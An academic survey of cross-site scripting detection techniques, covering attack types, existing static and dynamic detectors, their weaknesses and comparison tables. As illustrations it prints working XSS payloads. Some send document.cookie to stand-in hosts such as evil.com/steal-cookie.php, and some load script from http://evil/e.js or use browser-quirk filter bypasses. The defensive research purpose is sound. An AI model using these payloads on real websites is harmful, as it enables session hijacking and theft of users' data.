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Abstract—Web application (WA) expands its usages to provide 
more and more services and it has become one of the most 
essential communication channels between service providers and 
the users. To augment the users’ experience many web 
applications are using client side scripting languages such as 
JavaScript but this growing of JavaScript is increasing serious 
security vulnerabilities in web application too, such as cross-site 
scripting (XSS). In this paper, I survey all the techniques those 
have been used to detect XSS and arrange a number of analyses 
to evaluate performances of those methodologies. This paper
points major difficulties to detect XSS. I don’t implement any 
solution of this vulnerability problem because; my focus is for 
reviewing this issue. But, I believe that this assessment will be 
cooperative for further research on this concern as this treatise 
figure out everything on this transcendent security problem. 
Keywords- cross-site scripting, injection attack, javascript, 
scripting languages security, survey, web application security
I. INTRODUCTION 
In this modern world, web application (WA) expands its 
usages to provide more and more services and it has become 
one of the most essential communication channels between 
service providers and the users. To augment the users’ 
experience many web applications are using client side 
scripting languages such as JavaScript but this growing of 
JavaScript is increasing serious security vulnerabilities in web 
application too. The topmost threat among those 
vulnerabilities is Cross-site scripting (XSS). The 21.5% 
among newly reported vulnerabilities were XSS, making it the 
most frequently reported security threat in 2006 [29, 30]. 
A class of scripting code is injected into dynamically 
generated pages of trusted sites for transferring sensitive data 
to any third party (i.e., the attacker’s server) and avoiding 
same-origin-policy or cookie protection mechanism in order to 
allow attackers to access confidential data. XSS usually affects 
victim’s web browser on the client-side where as SQL 
injection, related web vulnerability is involved with server-
side. So, it is thorny for an operator of web application to trace 
the XSS holes. Moreover, no particular application knowledge 
or knack is required for any attacker to reveal the exploits. 
Additionally, several factors figure out in Wassermann and 
Su’s paper those contribute to the prevalence of XSS 
vulnerabilities [29]. First, the system requirements for XSS are 
minimal. Second, most web application programming 
languages provide an unsafe default for passing untrusted 
input to the client. Finally, proper validation for untrusted 
input is difficult to get right, primarily because of the many, 
often browse-specific, ways of invoking the JavaScript 
interpreter. Therefore, we may say, inadequate validation of 
user’s input is the key reason for Cross-site scripting (XSS) 
and effective input validation approach can be introduced to 
detect XSS vulnerabilities in a WA. But it’s not always true. I
found a number of situations during my survey, only input 
validation is not satisfactory to prevent XSS. Several 
techniques have been developed to detect this injection 
problem. Some of those are dynamically and some of those are 
statically handled. Every researcher tried to present more 
competent and effectual methodology than previous work. But 
in my point of view, every method has pros and cons.
The rest of this paper is structured as follows. In Section II, 
this paper presents nuts and bolts of this area and tries to 
picture out why cross-site scripting is more tricky and uncanny 
than other injection problems. I review several research papers, 
journals, related websites, and more than thousand XSS vectors 
and summarize all of them under one frame in Section III.  
After reviewing of existing systems I found atleast one problem 
from each system and categorize major problems into five 
broad categories. The brief presentation of all those categories 
with some realistic examples is placed in section IV. Analyzing 
of well known ten methodologies those were used to detect 
cross-site scripting and figure out their real looks in regarding 
to my five problem categories in section V, and finally, Section 
VI concludes.
II. XSS ATTACK TYPES
There are three distinct types of XSS attacks: non-
persistent, persistent, and DOM-based [8]. 
Non-persistent cross-site scripting vulnerability is the most
common type. The attack code is not persistently stored, but, 
instead, it is immediately reflected back to the user. For 
instance, consider a search form that includes the search query 
into the page with the results, but without filtering the query 
for scripting code. This vulnerability can be exploited, for 
example, by sending to the victim an email with a special 
crafted link pointing to the search form and containing a 
malicious JavaScript code. By tricking the victim into clicking 
this link, the search form is submitted with the JavaScript code 
as a query string and the attack script is immediately sent back 
to the victim, as part of the web page with the result. As 
another example, consider the case of user who accesses the 
popular trusted.com web site to perform sensitive operations 
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(e.g., on-line banking). The web-based application on 
trusted.com uses a cookie to store sensitive session 
information in the user’s browser. Note that, because of the 
same origin policy, this cookie is accessible only to JavaScript 
code downloaded from a trusted.com web server. However, 
the user may be also browsing a malicious web site, say 
www.evil.com, and could be tricked into clicking on the 
following link:                                                              
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<a href = “http://www.trusted.com/
   <SCRIPT>
        document. location =             
               ‘http://www.evil.com/steal-cookie.php?’
               +document.cookie;  
</SCRIPT>”>
  Click here to collect price.
</a>
Figure 1. JavaScript code in HTTP request
When the user clicks on the link, an HTTP request is sent 
by the user’s browser to the www.trusted.com web server, 
requesting the page:
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<SCRIPT>
    document. location =             
       ‘http://www.evil.com/steal-cookie.php?’
       +document.cookie;  
</SCRIPT>”>
Figure 2. JavaScript code, treating as requested link
The trusted.com web server receives the request and 
checks if it has the resource that is being requested. When the 
trusted.com host does not find the requested page, it will 
return an error page message. The web server may also decide 
to include the requested file name (which is actually script) 
will be sent from the trusted.com web server to the user’s 
browser and will be executed in the context of the trusted.com
origin. When the script is executed, the cookie set by 
trusted.com will be sent to the malicious web site as a 
parameter to the invocation of the steal-cookie.php server-side 
script. The cookie will be saved and can be used by the owner 
of the evel.com site to impersonate the unsuspecting user with 
respect to trusted.com.
Persistent type stores malicious code persistently in a 
resource (in a database, file system, or other location)
managed by the server and later displayed to users without 
being encoded using HTML entities.  For instance, consider an 
online message board, where users can post messages and 
others can access them later. Let us assume further that the 
application does not remove script contents from posted 
messages. In this case, the attacker can craft a message similar 
to the next example.
This message contains the malicious JavaScript code that 
the online message board stores in its database. A visiting user 
who reads the message retrieves the scripting code as part of 
the message. The user’s browser then executes the script, 
which, in turn sends the user’s sensitive information from his
site to the attacker’s site.  
Yahoooo! You Won Prize. Click on HERE to verify.
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<SCRIPT>
    document. images[0].src =             
   http://evil.com/images.jpg?stolencookie +   
        document.cookie;  
</SCRIPT>
Figure 3. Persistent XSS vector
DOM-based cross-site scripting attacks are performed by 
modifying the DOM “environment” in the client side instead 
of sending any malicious code to server. So the server doesn’t 
get any scope to verify the payload. The following example 
shows that a sign (#) means everything following it is 
fragment, i.e. not part of the query. 
1
2
http://www.evil.com/Home.html#name=
   <SCRIPT>alert(‘XSS’)</SCRIPT>
Figure 4. DOM-based XSS vector
Browser doesn’t send fragment to server, and therefore 
server would only see the equivalent of 
http://www.evil.com/Home.html, not the infected part of the 
payload. We see, therefore, that this evasion technique causes 
the major browsers not to send the malicious payload to the 
server. As a consequence, even the well-planned XSS filters 
become impotent against such attacks.
As Grossman, RSNAKE, PDP, Rager, and Fogie point out, 
cross-site scripting is a variegated problem that is not easy to 
solve anytime soon [14]. There is no quick fix that is 
acceptable for the majority like other security related issues. 
They figure out the problem as two-fold. First, the browsers are 
not secure by design. They are simply created to produce 
outputs with respect to requests. It is not the main duty of any 
browser to determine whether or not the piece of code is doing 
something malicious.  Second, web application developers are 
unable to create secure sites because of programming knacks 
lacking or time margins. As a consequence, attackers get 
chances to exploit the applications’ vulnerabilities. Hence, 
now, the users are stuck between two impossible states.
III. EXISTING METHODS
A. Dynamic Approach
1) Vulnerability Analysis based Approach:
a) Interpreter-based Approaches: Pietraszek, and 
Berghe use approach of instrumenting interpreter to track 
untrusted data at the character level and to identify 
vulnerabilities they use context-sensitive string evaluation at 
each susceptible sink [18]. This approach is sound and can 
detect vulnerabilities as they add security assurance by 
modifying the interpreter. But approach of modifying 
interpreter is not easily applicable to some other web 
programming languages, such as Java (i.e., JSP and servlets) 
[2]. 
b) Syntactical Structure Analysis: A successful inject 
attack changes the syntactical structure of the exploited entity, 
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stated by Su, and Wassermann in [2] and they present an 
approach to check the syntactic structure of output string to 
detect malicious payload. Augment the user input with meta-
data to track this sub-string from source to sinks. This meta-
data help the modified parser to check the syntactical structure 
of the dynamically generated string by indicating end and start 
position of the user given data. If there is any abnormality then 
it blocks further process. These processes are quite success 
while it detect any injection vulnerabilities other than XSS. 
Only checking the syntactic structure is not sufficient to 
prevent this sort of workflow vulnerabilities that are caused by 
the interaction of multiple modules [25].
2) Attack Prevention Approach: 
a) Proxy-based Solution: Noxes, a web proxy protects 
against transferring of sensitive information from victim’s site 
to third party’s site [13]. This is an application-level firewall 
to block and detect malware. User is provided with fine-
grained control over each and every connection which are 
coming to or leaving from local machine. If any connection is 
mismatched with the firewall’s rules then firewall prompts the 
user to decide whether the connection needs to be blocked or 
allowed. Almost similar approaches apply in [12], [24], and 
[27]. Blacklisting the link is not sufficient technique to prevent 
cross-site Scripting attacks, e.g., those don’t go against same 
origin policy, as was the case of the Samy worm [10]. Huang 
et al. state, proxy-based solution doesn’t present any procedure 
to identify the errors and it needs watchful configuration [6]. 
These sorts of systems protect the unpredictable link without 
examining the fault which may increase the false positive [28].
b) Browser-Enforced Embedded Policies: A white list 
of all benign scripts is given by the web application to browser 
to protect from malicious code [10]. This smart idea allows 
only listed scripts to run. There is no similarity between 
different browsers’ parsing mechanism and as a consequence, 
successful filtering system of one browser may unsuccessful 
for another. So, the method of this paper is quite successful
against this situation but enforcing the policy to browser 
requires a modification in that. So, it suffers for scalability 
problem from the web application’s point of view [11]. Every 
client need to have this modification version of the browser.
B. Static Analysis
1) Taint Propagation Analysis: Lots of static and dynamic 
approaches use taint propagation analysis using data flow 
analysis to track the information flow from source to sink [4, 
6, 9, 22, and 26]. The underlying assumption of this technique 
is as follows: if a sanitization operation is done on all paths 
from source to sinks then the application is secure [19]. 
Keeping faith on user’s filter and not checking the sanitization 
function at all is not a good idea at all because some XSS 
vectors can bypass many strong filters easily. Thus it doesn’t 
provide strong security mechanism [2]. 
2) String Analysis: The study of string analysis grew out 
of the study of text processing programs. XDuce, a language 
designed for XML transformations uses formal language (e.g., 
regular languages) [31]. Christensen, Mǿller, and 
Schwartzbach introduced the study of static string analysis for 
imperative (and real world) languages by showing the 
usefulness of string analysis for analyzing reflective code in 
Java programs and checking for errors in dynamically 
generated SQL queries [7]. They designed an analysis for Java 
using finite state automata (FSA) as its target language 
representation. They also applied techniques from 
computational linguistics to generate good FSA approximation 
of CFGs [32]. Their analysis, however, does not track the 
source of data, and because it must determine the FSA 
between each operation, it is less efficient that other string 
analyzes and not practical for finding XSS vulnerabilities [29]. 
Minamide followed same technique to design a string analysis 
for PHP that does not approximate CFGs to FSA. His 
proposed technique that checks the whole document for the 
presence of the “<script>” tag. Because web applications often 
include their own scripts, and because many other ways of 
invoking the JavaScript interpreter exist, the approach is not 
practical for finding XSS vulnerabilities.
3) Preventing XSS Using Untrusted Scripts: Using a list of 
untrusted scripts to detect harmful script from user given data 
is well- known technique. Wassermann and Su’s recent work 
[29] is a shadow of this process. They build policies and 
generate regular expressions of untrusted tags to check 
whether it has non-empty intersection between generated 
regular expression and CFG, generate from String taint static 
analysis, if so, they take further action. We believe that using 
any list of untrusted script is easy and poor idea. Same opinion 
is stated in the document of OWASP [17]. In the document, it 
was mentioned, “Do not use “blacklist” validation to detect 
XSS in input or to encode output. Searching for and replacing 
just a few characters (“<” “>” and other similar characters or 
phrases such as “script”) us weak and has been attacked 
successfully. XSS has a surprising number of variants that 
make it easy to bypass blacklist validation.”
4) Software Testing Techniques: Y. Huang, S. Huang, Lin, 
and Tsai use number of software-testing techniques such as 
black-box testing, fault injection, and behavior monitoring to 
web application in order to deduce the presence of 
vulnerabilities [15]. It’s a combination of user-behavior 
simulation with user experience modeling as black-box testing 
[28].  Similar approaches are used in several commercial 
projects such as APPScan [21], WebInspect[20], and ScanDo
[23]. Since, these approaches are applied to identify errors in 
development cycle, so these may unable to provide instant 
Web application protection [6] and they cannot guarantee the 
detection of all flaws as well [27].
5) Bounded Model Checking: Huang et al. use 
counterexample traces to reduce the number of inserted 
sanitization routines and to identify the cause of errors that 
increase the precision of both error reports and code 
instrumentation [28]. To verify legal information flow within 
the web application programs, they assign states those 
represent variables’ current trust level. Then, Bounded Model 
Checking technique is used to verify the correctness of all 
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possible safety states of the Abstract Interpretation of the 
program. In their method, they leave out alias analysis or 
include file resolution issues those are some of major 
problems in most of the current systems [26].
C. Static and Dynamic Analysis Combination
1) Lattice-based Analysis: The WebSSARI is a tool, 
combination of static and runtime features that apply static taint 
propagation analysis to find security vulnerabilities [6]. On the 
basis of lattice model and typestate this tool uses flow 
sensitive, intra-procedural analysis to detect vulnerability. This 
tool automatically inserts runtime guards, i.e., sanitization 
routines when it determines that tainted data reaches sensitive 
functions [25]. The major problems of this method are that it 
provides large number of false positive and negative due to its 
intraprocedural type-based analysis [4]. Moreover, this method 
considers the results from users’ designed filters are safe. 
Therefore, it may miss real vulnerabilities. Because, it may be 
possible that designated filtering function is not able to detect 
the malicious payload.
IV. CONSIDERATION POINTS TO DETECT XSS
After close examination of existing detectors, I found at 
least one problem from each detector. Those problems are 
categorized into five categories. A brief description of these
categories along with some realistic examples is placed in this 
section.
A. Insecure JavaScript Practice
Yue et al. characterize the insecure engineering practice of 
JavaScript inclusion and dynamic generation at different 
websites by examining severity and nature of security 
vulnerabilities [3]. These two insecure practices are the main 
reasons for injecting malicious code into websites and creating 
XSS vectors. According to their survey results, 66.4% of 
measured websites has insecure practice of JavaScript 
inclusion using src attribute of a script tag to include a 
JavaScript file from external domain into top-level domain 
document of a web page. Top-level document is document 
loaded from URL displayed in a web browser’s address bar.
Two domain names are regarded as different only if, after 
discarding their top-level domain names (e.g., .com) and the 
leading name “www” (if existing); they don’t have any 
common sub-domain name. For instance, two domain name
are regarded as different only if the intersection of the two sets 
{ d1sub2.d1sub1} and { d2sub3.d2sub2.d2sub1} is empty [3].
1. www.d1sub2.d1sub1.d1tld
2. d2sub3.d2sub2.d2sub1.d2tld
79.9% of measured websites uses one or more types of 
JavaScript dynamic generation techniques. In case of dynamic 
generation techniques, document.write(), innerHTML, eval() 
functions are more popular than some other secure methods. 
Their results show 94.9% of the measured website register 
various kinds of event handlers in their webpage. Dynamically 
generated Script (DJS) instance is identified in different ways 
for different generation techniques. For the eval() function, the 
whole evaluated string content is regarded as a DJS instance. 
Within the written content of the document.write() method and 
the value of the innerHTML property, a DJS instance can be 
identified by from three source [3].
 Between a pair of <SCRIPT> and </SCRIPT> tags
 In an event handler specified as the value of an 
HTML attribute such as onclick or onmouseover;
 In a URL using the special javascript:protocol 
specifier.
I investigated more than 100 home pages of unique 
websites manually (reading source file) to make a small 
measurement. My measurement results almost reflect their 
outcome.
TABLE I. INSECURE JAVASCRIPT PRESENCE IN HTML FILES
To eliminate this risk, developers have to avoid insecure 
practice of JavaScript, such as they need to avoid external 
JavaScript inclusion using internal JavaScript files, eval() 
function need to be replaced with some other safe function [3].
B. Malicious code between Static Scripts
User input between any existing scripting codes is vital 
issue while detecting XSS. It’s really hard to find any method 
from existing systems that can solve this dilemma 
appropriately. There are two types of scripting code in any 
webpage. Some of them are static and some of them are 
dynamic (composed during runtime). Let’s begin the discus on 
this issue with one example. 
1 <SCRIPT> var a = $ENV_STRING; </SCRIPT>   
Figure 5. User given data between static script code
In the above example, both starting both starting and 
ending tag of script are static and the user input is sandwiched 
between them that make the scripting code executable. But 
problem is that any successful injection in this context may 
create XSS vector. All strong filters of the existing systems try 
to find malicious code from the user input. This kind of 
situation in static code may help attackers to circumvent any 
detecting filter. For instance, the Samy MySpace 
Wormintroduced keywords prohibited by the filters 
(innerHTML) through JavaScript code that resulted the output 
as the client end (eval(‘inner’+’HTML’)) [10]. On the other 
hand we cannot eliminate any static scripting code while 
filtering because they are legitimate and there may be a safe 
user input between those legitimate codes. So it is hard to 
isolate and filter input that builds such construct without 
understanding the syntactical context in which they used [11]. 
So meaning of the syntax is a vital concern while filtering. 
No of 
HTML 
files
JS
DJS
eval document.write innerHTML
106 83 19 92 7
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C. Browser-specific Problems 
The diversity of browser characteristics is one of the major 
problems while detecting vulnerabilities. Different browser 
parses web page differently. Some of them follow the rules of 
W3C and some of them it’s own. So, this multifaced of 
browsers makes many filters weak. Moreover, browser cannot 
distinguish between crafted scripts with malicious inputs and 
benign scripts. They are always ready to execute all scripts 
which is a cause of XSS attacks. For instance, some browser 
accept newline or white space in “JavaScript”, portion of a 
JavaScript:URL, some don’t.
1
2
<img src = ‘Java  
                    Script:alert(1)’>    
Figure 6. Newline between JavaScript
This will result in script execution for some browsers. 
Vector rely on the “ad-hoc(quirk)” behavior of the Firefox 
HTML parser e.g., only the Firefox executes –
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<SCRIPT/XSS  
       SRC = http://evil/e.js></SCRIPT>
Figure 7. SCRIPT followed by non-character
Let’s look another case, 
1
2
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preg_replace(“/\<SCRIPT (.*?)\.(.*?)\
                      <\/SCRIPT(.*?)\>/i”, “SCRIPT  
                      BLOCKED”, $VALUE);
Figure 8. Detect closing SCRIPT tag
The above function preg_replace looks for a closing script 
tag. Some browsers do not allow any scripting code without 
any closing script tag. But it’s not true for all. Most of the 
browsers accept scripting code without closing tag and 
automatically insert the missing tag [19]. This generosity of 
the browser helps any attacker to insert malicious code easily. 
So, Proper validation for malicious payload is difficult to get 
right. The nature of different browser’s parsing mechanisms 
must be a vital concern while developing any tool for 
detecting untrusted user input. Some of existing systems tried 
to overcome this problem but I think that those are not perfect 
for all browsers.
D. DOM-based Problems 
One of the crucial problems of most existing systems is 
they cannot detect DOM-based XSS. So only identifying 
stored and reflected XSS is not sufficient for preventing all of 
XSS domain and according to Amit Klein’s article, DOM-
based is one of the upcoming injection problems in web world 
because nowadays, most of the issues related to other type of 
XSS problems are being cleaned up on major websites [16]. 
So, bad guys will try for third type of XSS vulnerability. We 
already know, DOM-based XSS vector does not need to 
appear on the server and it’s not easy for a server to identify.  
So, attackers get extra advantage with this type of XSS 
vulnerability. DOM-based XSS is introduced by Amit Klein in 
his article [16] and this type XSS can be hidden in the 
JavaScript code and many strong web application firewalls fail 
to filter this malicious code.
In the eXtensible Markup Language (XML) world, there 
are mainly two types of parser, DOM and SAX. DOM-based 
parsers load the entire document as an object structure, which 
contains methods and variables to easily move around the 
document and modify nodes, values, and attributes on the fly. 
Browsers work with DOM. When a page is loaded, the 
browser parses the resulting page into an object structure. The 
getElementByTagName is a standard DOM function that is 
used to locate XML/HTML nodes based on their tag name.
Let’s start to discuss about on this topic deeply with Amit 
Klein given example. Say, the content of 
http://www.vulnerable.site/welcome.html as follows: 
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<HTML>
<TITLE> Welcome! </TITLE>
<SCRIPT>
   var pos =
      document.URL.indexof(“name=”)+5
      document.write(document.URL.substring
      (pos, document.URL.length));
</SCRIPT>
<BR>
   Welcome to our System
</HTML>
Figure 9. HTML page
If we analyze the code of the example, we will see that 
developer has forgotten to sanitize the value of the “name” get 
parameter, which is subsequently written inside the document 
as soon as it is retrieved. The result of this HTML page will be 
http://vulnerable.site/welcome.html?name= Joe (if user input 
is ‘Joe’). However, if the user input is any scripting code that 
would result in an XSS situation. e.g.; 
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http://vulnerable.site/welcome.html?name=
   <SCRIPT> alert(document.cookie)
   </SCRIPT>
Figure 10. DOM-based XSS vector
Many people may disagree with this statement and may 
argue that still, the malicious code is sending to the server, and 
any filter can be used in the server to identify it. Let’s see an 
update version of previous example. 
1
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http://vulnerable.site/welcome.html#name=
   <SCRIPT> alert(document.cookie)
   </SCRIPT>
Figure 11. DOM-based XSS vector with (#) sign
Here sign (#) right after the file name used as fragment 
starter and anything beyond this is not a part of query. Most of 
the well-known browsers do not send the fragment to server. 
So actual malicious part of the code is not appeared to the 
server, and therefore, the server would see the equivalent of 
http://www.vulnerable.site/welcome.html. More scenarios on 
DOM-based XSS are in Amit Klein’s article [16]. He suggests 
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that minimizing insecure JavaScript practice in code may 
reduce the chances of DOM-based XSS. Web developer must 
be very careful when relying on local variables for data and 
control and should give attention on the scenarios wherein 
DOM is modified with the user input.
Automated testing has only very limited success at 
identifying and validating DOM based XSS as it usually 
identifies XSS by sending a specific payload and attempts to 
observe it in the server response. This may work fine for Fig. 9 
if we exclude the idea of (#) sign but may not work in the 
following contrived case:
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<SCRIPT>
   var navAgt = navigator.userAgent;
   if (navAgt.indexOf(“MSIE”)!=-1)     
    {      
         document.write(“You are using IE and visiting 
                        site” +document.location.href+“.”);
    }
   else
    {
         document.write(“You are using an unknown  
                                     browser.”);
    }
</SCRIPT>
Figure 12. DOM-based XSS vector
For this reason, automated testing will not detect areas that 
may be susceptible to DOM based XSS unless the testing tool 
can perform addition analysis of the client side code [34].
Manual testing should therefore be undertaken and can be 
done by examining areas in the code where parameter are 
referred to that may be useful to attackers. Examples of such 
areas include places where code is dynamically written to the 
page and elsewhere where the DOM is modified or even 
where scripts are directly executed.
E. Multi-Module Problems 
The vulnerability of a server page is necessary condition 
for the vulnerability of web application, but it isn’t a necessary
condition [1]. That means protecting any single page from a 
malicious code never guarantees the protection of entire web
application. Server page may send user data to other page or to 
any other persistent data store instead of client browser. In 
these situations, XSS may occur through another page. Most 
of the existing systems don’t provide any procedure to handle 
this difficulty. In the multi-module scenario, data may be 
passed from one module to another module using some 
session variables and those session variables status are stored 
in cookies. Let’s see the above example. This below example 
is taken from [25]. 
In the above example, Fig. 13, we can see user input is 
stored into session variable and later it is stored into $name 
variable. In Fig. 14, that session variable is echoed through 
different page. So, any filtering process on $name variable 
will not effect to session variable. In this case, any malicious 
code can create XSS vector using session variable and can 
bypass any filtering process. Bisht, Venkatakrishnan and 
Balzarotti, Cova, Felmetsger, Vigna solved Multi-module 
problem in their work [11, 25] but most of other tools are not 
having any technique to handle it.
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<HTML>
<HEAD>
   <TITLE> Enter User Name: </TITLE>
</HEAD>
<BODY>
<? php 
    // connect to the existing session
    session_start();  
   // create a session variable
    session_register(“ses_var”);
  // set ses_var with php variable
    $HTTP_SESSION_VARS[“ses_var”] = $name       
    if (isset($_POST[“user”])){
       $name = addslashes($_POST[“user”]);
       exit;
   }
?>
<FORM action = “create.php” method = “POST”>
UserName :
<input name = “user” type = “text”>
<input name = “OK” type = “submit”>
</FORM>
</BODY>
</HTML>
Figure 13. Session variable problem- 1st page
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<?php 
echo $_SESSION [“ses_var”];
<?
Figure 14. Session variable problem-2nd page
After reading source code files of LogiCampus Educational 
Platform [33], an open source web application to look out the 
mentioned XSS holes, I found several holes. Number of 
different kinds of holes is given in Table II. For finding DOM-
based XSS holes it was needed to look DOM modification
code or code that is used to write on the client side web page. 
Any pattern using user defined data dynamically such as any 
eventhandler or inline scripting code is tracked to analyze static 
script code problem. Multi-module problem is mainly occurred 
by session variable. So, I follow data flow using session 
variables and this application used several session variables but 
before showing any user defined data to the client site this 
application use filtering functions. So, none of those session 
variables will create any multi-module problem for this 
application.
TABLE II. XSS HOLES IN A PARTICULAR WEB APPLICATION
Application 
Name
PHP 
files
HTML 
files
DOM -
based
Static 
Script
Multi -
Module
LogiCampus 
Educational 
Platform
186 543 7 12 0
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V. EVALUATION
Well known ten methodologies which were used to detect 
cross-site scripting and figure out their real looks with respect 
to my five problem categories is analyzed in this section. Table 
III describes the capability of well-known tools to solve the 
problems which I have mentioned in my previous section.
The results of this analysis are made using my knowledge 
which is acquired during my survey and some of them are 
made on the basis of following papers’ comments on those 
tools. The first column states the authors or researchers of 
existing tools. If any tool has Low status under any problem 
then it is unable to solve this problem. On the other hand if any 
tool has High status under any problem then that tool is able to 
resolve the problem and in the case of Medium, tool may solve 
some part of that problem. For instance, the method of Jim, 
Swamy, and Hicks [10] has Low status under Multi-module 
problem which states that the tool is not capable to solve multi-
module problem. Table IV figures out the false positive rate of 
those tools and these results are made on the basis of their 
results and comments. Some results are made using following 
papers' comments on those tools. We can see in the Table IV
some results carry Not Identified that means, I couldn’t 
summarize them. We can see in Table III, the method of Kirda, 
Kruegel, Vigna, and Jovanovic [13] has High status under all 
problems and it seems that it has capability to resolve all 
problems. But in Table IV we can find their method has High
status that states this tool generates more false positive which is 
a massive disadvantage of any tool. Another stated problem in 
previous section, “Insecure Practice of JavaScript” is not 
included because we know DOM-based, and malicious code 
between static scripts are results of Insecure JavaScript 
practice. This is true; I don’t do any analysis using their tools 
practically because I don’t have. But I use their algorithms and 
procedures to make it possible. And I believe that this is 
sufficient to provide real picture.
VI. CONCLUSION
This is my analysis report on most well-known injection 
problem, cross-site scripting. I didn’t implement or run any 
tools to experiment. I use their algorithms and procedures to 
understand, how they work and I summarize their successes as 
well as limitations. I didn’t find any method that is 100% 
perfect. Even I am not presenting any tool that can detect XSS. 
I keep this task for my future movement. Web Application 
performs many critical tasks and deals with sensitive 
information. In our daily life, we pass our so many 
confidential data through this media. So this platform must be 
secure and stable. Nowadays, web application facing security 
problem for these injection problem and XSS is one of them. 
Researchers are doing hard work to make our web application 
platform more reliable. This survey report will help them for
their further research on this issue. I believe that this report 
provides summary of all the methodologies, used for detecting 
XSS and their limitations and success as well.
TABLE III. EXISTING METHODS’ CAPABILITY TO RESOLVE PROBLEMS
TABLE IV. FALSE POSITIVE RATE OF EXISTING METHODS
Authors False positive
Su, and Wassermann [2] Low
Minamide [5] Medium
Huang, Hang, Yu, Tsai, and Lee [6] High
Jim, Swamy, and Hicks [10] Low
Jovanovic, Kruegel, and Kirda [12] Medium
Kirda, Kruegel, Vigna, and Jovanovic [13] High
Y. Huang, S. Huang, Lin, and Tsai [15] Not Identified
Pietraszek, and Berghe [18] Medium
Huang, Hang, Tsai, Lee, and Kuo [28] Not Identified
Wassermann, and Su [29] Medium
Authors Browser specific DOM - based Static Script Multi - Module
Su, and Wassermann [2] Low Low Low Low
Minamide [5] Low Low Low Low
Huang, Hang, Yu, Tsai, and Lee [6] Low Low Low Low
Jim, Swamy, and Hicks [10] High High High Low
Jovanovic, Kruegel, and Kirda [12] Low Low Low Low
Kirda, Kruegel, Vigna, and Jovanovic [13] High High High High
Y. Huang, S. Huang, Lin, and Tsai [15] Low Low Low Low
Pietraszek, and Berghe [18] High Low High Low
Huang, Hang, Tsai, Lee, and Kuo [28] Low Low Low Low
Wassermann, and Su [29] Medium Low Low Low
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